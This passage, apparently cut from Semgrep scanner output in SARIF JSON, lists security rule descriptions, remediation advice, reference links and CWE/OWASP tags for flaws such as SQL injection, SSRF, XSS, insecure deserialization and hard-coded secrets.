[https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","id":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","name":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"help":{"markdown":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver","id":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","name":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.keyedarchiver.swift-keyedarchiver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","id":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","name":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","id":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","name":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.npmjs.com/package/bcrypt](https://www.npmjs.com/package/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","id":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","name":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","id":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","name":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape)\n - [http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/](http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/)\n","text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"help":{"markdown":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"helpUri":"https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","id":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","name":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"help":{"markdown":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key)\n - [https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/](https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/)\n - [https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d](https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d)\n","text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","id":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","name":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"help":{"markdown":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect)\n - [https://brakemanscanner.org/docs/warning_types/redirect/](https://brakemanscanner.org/docs/warning_types/redirect/)\n","text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","id":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","name":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","id":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","name":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","id":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","name":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","id":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","name":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - 